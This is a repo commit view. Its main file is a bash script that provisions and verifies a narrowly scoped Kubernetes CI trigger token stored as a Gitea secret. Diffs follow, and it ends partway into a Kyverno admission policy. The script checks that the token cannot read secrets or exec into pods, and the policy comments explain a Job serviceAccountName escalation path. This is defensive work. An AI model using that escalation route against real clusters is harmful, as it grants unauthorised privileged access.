# ----------------------------------------------------------------------------------------
# USAGE
# ----------------------------------------------------------------------------------------
# ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
# Read-only. Measures every precondition, mints nothing, writes nothing.
# ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
# Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
# ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
# The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
# refused unless every precondition is green.
#
# Options:
# --dry-run measure only; no TokenRequest, no PUT/POST
# --arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded)
# --server URL API server URL to embed (default: the operator context's own)
# --context NAME kube context to read the CA/server from (default: k3s-prod)
# --duration D requested token lifetime (default: 720h = 30d)
# -h | --help this text
#
# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
# not necessarily the address your workstation uses. The runner has broad egress and reaches
# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
# on a loopback server but cannot know your topology for you.
#
# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
# the correct direction, but put the expiry date in your calendar.
#
# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
# committing one buys re-issuance we get for free by re-running this script against the
# live SA. If the operator still wants it sealed, that is a separate reviewed change.
#
# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
# TokenRequest itself, no `kubectl apply`.
set -euo pipefail
# xtrace would print the token. Refuse rather than leak.
case "$-" in
*x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
esac
umask 077
HOST=gitea.home.keithjackson.dev
OWNER=Home-Network
REPO=home-network-k3s-impl
# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
VARIABLE=CLUSTER_AVAILABLE
NS=conformance
SA=conformance-trigger
RUNNER_SA=conformance-runner
POLICY=conformance-trigger-job-shape
# The image prefix the admission policy admits. Kept in sync with
# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
KCTX=k3s-prod
DURATION=720h
DRY_RUN=false
ARM=false
SERVER_OVERRIDE=""
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
step() { printf '\n==> %s\n' "$*"; }
info() { printf ' %s\n' "$*"; }
warn() { printf ' WARN: %s\n' "$*" >&2; }
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
usage() {
cat <<'USAGE'
conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
--dry-run measure every precondition; mint nothing, write nothing (read-only)
--arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
--server URL API server URL to embed (default: the operator context's own;
must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
--context NAME kube context to read the CA/server from (default: k3s-prod)
--duration D requested token lifetime (default: 720h)
-h | --help this text
Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
USAGE
}
while [ $# -gt 0 ]; do
case "$1" in
--dry-run) DRY_RUN=true ;;
--arm-cluster-available) ARM=true ;;
--server) SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
--context) KCTX="${2:?--context needs a name}"; shift ;;
--duration) DURATION="${2:?--duration needs a value}"; shift ;;
-h|--help) usage; exit 0 ;;
*) die "unknown argument: $1 (try --help)" ;;
esac
shift
done
if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
for t in kubectl jq curl git base64; do
command -v "$t" >/dev/null || die "missing required tool: $t"
done
WORK="$(mktemp -d)"
KC="${WORK}/conformance-trigger.kubeconfig"
cleanup() { rm -rf "$WORK"; }
trap cleanup EXIT
trap 'cleanup; exit 130' INT TERM
# ========================================================================================
# 0. Gitea credentials — from the credential helper git already has for this host, exactly
# as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
# reads them from a --config file descriptor.
# ========================================================================================
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"
P="$(sed -n 's/^password=//p' <<<"$creds")"
unset creds
[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
# ========================================================================================
# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
# Two independent tallies, per the split documented in the header.
# ========================================================================================
MINT_FAIL=0
ARM_FAIL=0
pass() { printf ' [ ok ] %s\n' "$*"; }
fail_mint() { printf ' [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
fail_arm() { printf ' [ARM-BLOCK] %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
|| die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
pass "API server reachable via context ${KCTX}"
# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
# clusters/base/conformance.yaml). We print object names only, never contents.
if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
pass "ServiceAccount ${NS}/${SA} exists"
else
fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
fi
for kind in role rolebinding; do
if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
pass "${kind} ${NS}/${SA} exists"
else
fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
fi
done
# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
# Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
# treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
ready="$(jq -r '
if (.status.ready != null) then (.status.ready | tostring)
elif (.status.conditions != null) then
((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
else "UNKNOWN" end' <<<"$pol")"
info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
[ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
[ "$failpol" = "Fail" ] || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
case "$ready" in
true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
*) fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
esac
else
fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
fi
step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
VERSIONS="${REPO_ROOT}/conformance/versions.env"
if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
else
fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
fi
# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
# init-container that populates the empty `workspace` volume with the suite at the PR SHA
# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
else
fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
fi
if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
else
fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
fi
# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
# the CI job — where there is no credential at all (the runner sets
# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
# check must ignore comment lines: a mention in prose is not an implementation.
#
# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
"$CONF_STAGE" 2>/dev/null; then
pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
else
fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
fi
info ""
info "precondition tally: mint-blocking failures=${MINT_FAIL} arm-blocking failures=${ARM_FAIL}"
if [ "$MINT_FAIL" -gt 0 ]; then
cat >&2 <<EOF
REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
namespaces/patch) with an arbitrary command. That is precisely the escalation
docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
EOF
exit 1
fi
if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
cat >&2 <<EOF
REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
enable L2/L3: it breaks every PR while proving nothing.
Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
secret in the meantime — that part is safe and is step 6's intended order.
EOF
exit 1
fi
if $DRY_RUN; then
step "DRY RUN — stopping here. Nothing was minted, nothing was written."
info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
info "variable that WOULD be set: none — ${VARIABLE} is never touched in --dry-run"
# Read-only visibility into what is already there. Gitea never returns secret VALUES.
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
info "existing Actions secret names: ${names:-<unreadable>}"
cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
if [ "$cur" = 200 ]; then
info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
else
info "existing ${VARIABLE}: not set (HTTP ${cur})"
fi
exit 0
fi
# ========================================================================================
# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
# against the cluster, and it creates no durable object.
# ========================================================================================
step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
|| die "kubectl create token failed for ${NS}/${SA}"
[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
info "got a ${#TOKEN}-character token (value NOT shown)"
# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
jwt_exp() {
local payload pad b64
payload="$(cut -d. -f2 <<<"$1")"
pad=$(( (4 - ${#payload} % 4) % 4 ))
b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
}
exp="$(jwt_exp "$TOKEN")"
if [ -n "$exp" ]; then
info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
else
warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
fi
# ========================================================================================
# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
#
# The CA and the server URL are read from the operator's context, but the operator's
# client certificate/key are NEVER copied: only .cluster fields are extracted. `config
# view --raw` output is held in a variable and discarded, never printed.
# Built with jq (not `kubectl config set-credentials --token=…`) so the token never
# appears in argv where `ps` can see it.
# ========================================================================================
step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
|| die "could not read context '${KCTX}' from the operator kubeconfig"
SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
unset raw
[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
if [ -n "$SERVER_OVERRIDE" ]; then
info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
SERVER="$SERVER_OVERRIDE"
fi
case "$SERVER" in
*localhost*|*127.0.0.1*|*://0.0.0.0*)
die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
esac
if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
[ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
CADATA="$(base64 -w0 <"$CAFILE")"
fi
[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
info "server: ${SERVER}"
info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
{
apiVersion: "v1",
kind: "Config",
clusters: [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
users: [ { name: $sa, user: { token: $tok } } ],
contexts: [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
"current-context": "conformance"
}' >"$KC"
chmod 600 "$KC"
info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
# than assume it) — this prints only the server we already printed.
parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
|| die "kubectl cannot parse the generated kubeconfig"
[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
pass "kubectl parses the generated kubeconfig"
# ========================================================================================
# 4. PROVE it is the narrow identity. Two independent proofs:
# a) who the token authenticates AS (SelfSubjectReview)
# b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
# jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
# something wider that happens to include the trigger rights.
# All read-only. `auth can-i` answers from the API server's own authorizer.
# ========================================================================================
step "verifying the credential is the NARROW trigger identity"
EXPECT_USER="system:serviceaccount:${NS}:${SA}"
if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
[ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
pass "authenticates as ${who}"
else
warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
fi
# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
|| die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
cani() { # cani <expected yes|no> <verb> <resource...>
local want="$1"; shift
local got
got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
case "$got" in
yes|no) : ;;
*) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
esac
if [ "$got" = "$want" ]; then
pass "can-i $* -> ${got} (expected)"
else
die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
fi
}
# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
cani yes create jobs.batch -n "$NS"
cani yes get pods -n "$NS"
cani yes get pods/log -n "$NS"
# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
cani no delete jobs.batch -n "$NS" # a trigger that can delete can hide a failed run
cani no create pods/exec -n "$NS" # no execution channel into the runner pod
cani no get secrets -n "$NS"
cani no create jobs.batch -n default # namespaced Role: no reach outside ns conformance
cani no get nodes # the RUNNER has nodes/patch; the trigger must not
cani no '*' '*' --all-namespaces # not cluster-admin, stated as a measurement
# ========================================================================================
# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
# The body goes in a 0600 file so the token is not in argv.
# ========================================================================================
step "storing the kubeconfig as repo Actions secret ${SECRET}"
jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
chmod 600 "${WORK}/body.json"
code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
-H 'Content-Type: application/json' --data @"${WORK}/body.json" \
"${API}/actions/secrets/${SECRET}")"
unset TOKEN
rm -f "${WORK}/body.json" "$KC"
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
# Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
# "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
fi
info "PUT returned HTTP ${code}"
# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
# PRESENCE BY NAME only — say so rather than implying the content was checked.
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
pass "stored and VERIFIED PRESENT by read-back: ${names}"
info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
info " is proven only by the first CI run that uses it — see the NOTE below.)"
info ""
info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
info "kubeconfig cannot reach CI any other way."
# ========================================================================================
# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
# ========================================================================================
if ! $ARM; then
cat <<EOF
==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
The secret is in place; the conformance job stays gated off until the variable is set. That
is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
EOF
else
step "arming vars.${VARIABLE}=true — every precondition above is green"
cat <<EOF
This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
EOF
[ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
printf ' Type exactly "ARM %s" to proceed: ' "$VARIABLE"
read -r confirm
[ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
# Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
# `data` as in the secrets API above. Try create, fall back to update. The value "true" is
# not a secret, so response bodies are printed here to make a failure diagnosable.
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
-H 'Content-Type: application/json' --data '{"value":"true"}' \
"${API}/actions/variables/${VARIABLE}")"
if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
-H 'Content-Type: application/json' \
--data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
"${API}/actions/variables/${VARIABLE}")"
fi
[ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
|| die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
info "write returned HTTP ${vcode}"
# Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
# gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
[ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
[ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
fi
cat <<EOF
NEXT — and none of it is proven until you watch it happen:
1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
reports success ("Has been skipped"), and a green tick is not evidence anything ran.
2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
3. Only after seeing BOTH directions should the conformance check be added to branch
protection (infra/gitea/require-gate.sh's status_check_contexts).
4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
(401 on the trigger) rather than skipping when it lapses.
ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
ServiceAccount, which Flux will recreate with a fresh identity.
EOF
+20 -4
View File
@@ -10,6 +10,10 @@
# confirm the check goes green rather than assuming the scope name.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
SECRET=SETTINGS_API_TOKEN
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
@@ -22,12 +26,24 @@ TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
echo "==> got a ${#TOKEN}-character token (value not shown)"
echo "==> storing it as repo Actions secret GITEA_SETTINGS_TOKEN"
basic -X PUT -H 'Content-Type: application/json' \
echo "==> storing it as repo Actions secret ${SECRET}"
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/GITEA_SETTINGS_TOKEN" >/dev/null
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
unset TOKEN
echo "==> stored."
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
rm -f /tmp/set-ci-token.out; exit 1
fi
rm -f /tmp/set-ci-token.out
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
# reports success for a store that never happened -- which is exactly what it did.
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
echo "==> stored and VERIFIED present: ${names}"
cat <<'NOTE'
+8
View File
@@ -34,6 +34,14 @@ resources:
# policies, the next import is blocked in the gap.
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
- ../platform/kyverno/admission/secret-provenance.yaml
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
# only ("kept as reference; THIS file is the buildable render root" in
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
# leaving the conformance-trigger identity live with nothing bounding it.
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
- cilium/l2-ip-pool.yaml
- cilium/l2-announcement-policy.yaml
@@ -0,0 +1,144 @@
# Serves: R-SEC-02 (CI holds no broad cluster access)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
# privileged identity unless something constrains the SHAPE of what it may create.
#
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
# committed conformance run and deny everything else. The operator chose this model
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
# GitOps-native alternative.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
#
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
#
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
# enforceable half: the image must live under the conformance repository path AND be
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
# PR, which is exactly where a change to the security boundary belongs.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: conformance-trigger-job-shape
annotations:
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
